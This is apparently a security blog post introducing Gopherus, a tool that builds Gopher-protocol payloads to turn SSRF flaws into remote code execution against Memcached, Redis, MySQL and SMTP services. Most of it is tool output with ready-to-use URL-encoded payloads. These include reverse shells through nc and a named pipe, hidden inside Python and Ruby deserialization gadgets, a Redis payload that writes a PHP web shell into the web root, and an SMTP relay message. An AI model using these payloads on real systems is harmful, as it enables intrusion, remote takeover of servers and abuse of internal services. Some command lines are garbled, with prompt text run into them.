

Blog on Gopherus Tool

Blog on Gopherus Tool - SpyD3r, SpyClub.

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Content

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Hey Everyone, I am writing this blog on my tool [Gopherus](#)

What this tool do exactly?

Generates Gopher payload for exploiting SSRF and gaining RCE, on SSRF vulnerable sites. I've written this tool for MySQL, FastCGI, Memcached, Redis, Zabbix, SMTP servers. So here we will talk about all sever with his exploitation technique in details separately.

Explanation of each attack:

MySQL

As I automated this before [here](#). Now I only need to upgrade it. So now it has additional features like, now it won't ask for MySQL packets as earlier one does, here it will directly ask Username and will create Gopher payload for doing SSRF. And I have written a blog on the same describing my python script [here](#)


```
~ » gopherus --exploit pymemcachespyd3r@bios

Gopherus
author: $_SpyD3r_$

Ready to Get Reverse SHELL
Give server IP you want to connect (default is 127.0.0.1): 192.168.0.1
Your gopher link is ready to do SSRF :
gopher://127.0.0.1:11211/_%0d%0aset%20SpyD3r%201%2060%20121%0d%0acposix%0Asystem%0A%28$%27rm%20-f%20/tmp/f%3B%20mkfifo%20/tmp/f%3Bcat%20/tmp/f%20%7C%20/bin/sh%20-i%202%3F%261%20%7C%20nc%20-l%20192.168.0.1%201234%20%3F%20/tmp/f%27%0Ap2%0AtRp3%0A.%0d%0a
Then You can connect it with : nc 192.168.0.1 1234
After everything done, you can delete memcached item by using this payload:
gopher://127.0.0.1:11211/_%0d%0adelete%20SpyD3r%0d%0a
-----Made-by-SpyD3r-----
```

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```
~ » gopherus --exploit rbnemcachespyd3r@bios

Gopherus
author: $_SpyD3r_$

Ready to Get Reverse SHELL
Give server IP you want to connect (default is 127.0.0.1): 192.168.0.1
Your gopher link is ready to do SSRF :
gopher://127.0.0.1:11211/_%0d%0aset%20SpyD3r%204%2060%20284%0d%0a%04%08o:%40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy%09:%0F%40instanceo:%08ERB%06:%09%40srcI%22d%xx%28rm%20-f%20/tmp/f%3B%20mkfifo%20/tmp/f%3Bcat%20/tmp/f%20%7C%20/bin/sh%20-i%202%3F%261%20%7C%20nc%20-l%20192.168.0.1%201234%20%3F%20/tmp/f%29%3B%06:%06ET:%0C%40method:%0Bresult:%09%40varI%22%0C%40result%06%3B%09T:%10%40deprecatoro:%1FActiveSupport::Deprecation%06:%0F%40silencedI%0d%0a
Then You can connect it with : nc 192.168.0.1 1234
After everything done, you can delete memcached item by using this payload:
gopher://127.0.0.1:11211/_%0d%0adelete%20SpyD3r%0d%0a
-----Made-by-SpyD3r-----
```

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```
~ » gopherus --exploit phpmemcachespyd3r@bios

Gopherus
author: $_SpyD3r_$

This is usable when you know Class and Variable name used by user
Give serialization payload
example: 0:5:"Hello":0:{} : 0:5:"Hello":0:{}
Your gopher link is ready to do SSRF :
gopher://127.0.0.1:11211/_%0d%0aset%20SpyD3r%204%200%2016%0d%0a0:5:"22Hello%22:0:%7B%7D%0d%0a
After everything done, you can delete memcached item by using this payload:
gopher://127.0.0.1:11211/_%0d%0adelete%20SpyD3r%0d%0a
-----Made-by-SpyD3r-----
```

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```
~ » gopherus --exploit dmpmemcache                                spyd3r@bl0s

Gopherus
author: $_SpyD3r_$

Give payload you want to run in Memcached Server: stats
Your gopher link is ready to dump Memcache :
gopher://127.0.0.1:11211/_%0d%0astats%0d%0a
-----Made-by-SpyD3r-----
```

Redis

It uses the port 6379, and when this port is open it allows us to over-write the files in the system, so in the way of exploiting it, what we will do is, we will write one cronjob for opening a port with shell, so that when we will connect to victim server we will get victim's shell. Also, we can write one PHP shell file and will put into the web-root location. So tool will ask you the location of crontab(diffrs as OS changes) of the victim and when you wanted PHP shell then it will also ask you payload to put in shell file BTW we have put PHP shell code as default.

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```
~ » gopherus --exploit redis                                    spyd3r@bl0s

Gopherus
author: $_SpyD3r_$

Ready To get SHELL
What do you want?? (ReverseShell/PHPShell): phpshell
Give web root location of server (default is /var/www/html): /usr/share/nginx/html
Give PHP Payload (We have default PHP Shell): <?php echo "Pwned by SpyD3r"; ?>
Your gopher link is Ready to get PHP Shell:
gopher://127.0.0.1:6379/_%2A1%0D%0A%20%20%20%20%248%0D%0A%20%20%20%20%20flushall%0D%0A%20%20%20%20%2A3%0D%0A%20%20%20%20%243%0D%0A%20%20%20%20%20set%0D%0A%20%20%20%20%241%0D%0A%20%20%20%20%201%0D%0A%20%20%20%20%20%2436%0D%0A%0A%0A%20%20%20%20%3C%3Fphp%20echo%20%22Pwned%20by%20SpyD3r%22%3B%20%3F%3E%0A%0A%20%20%20%20%0D%0A%20%20%20%20%2A4%0D%0A%20%20%20%20%246%0D%0A%20%20%20%20%20config%0D%0A%20%20%20%20%243%0D%0A%20%20%20%20%20set%0D%0A%20%20%20%20%243%0D%0A%20%20%20%20%20%20%20%20%20%2421%0D%0A%20%20%20%20%20usr/share/nginx/html%0D%0A%20%20%20%20%2A4%0D%0A%20%20%20%20%246%0D%0A%20%20%20%20%20config%0D%0A%20%20%20%20%243%0D%0A%20%20%20%20%20set%0D%0A%20%20%20%20%2416%0D%0A%20%20%20%20%20dbfilename%0D%0A%20%20%20%20%249%0D%0A%20%20%20%20%20shell.php%0D%0A%20%20%20%20%2A1%0D%0A%20%20%20%20%244%0D%0A%20%20%20%20%20save%0D%0A%0A%20%20%20%20%20
When it's done you can get PHP Shell in /shell.php at the server with `cmd` as parmeter.
-----Made-by-SpyD3r-----
```

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```
~ » gopherus --exploit smtp                                     spyd3r@bl0s

Gopherus
author: $_SpyD3r_$

Give Details to send mail:
Mail from : spyclub.tech
Mail To : tarunkant05@gmail.com
Subject : SSRF
Message : Pwned by SpyD3r

Your gopher link is ready to send Mail:
gopher://127.0.0.1:25/_MAIL%20FROM:spyclub.tech%0ARCPT%20To:tarunkant05%40gmail.com%0ADATA%0AFrom:spyclub.tech%0ASubject:SSRF%0AMessage:Pwned%20by%20SpyD3r%0A_
-----Made-by-SpyD3r-----
```

Usage

You can get Usage and screenshots [here](#)

I hope you found it a nice article.

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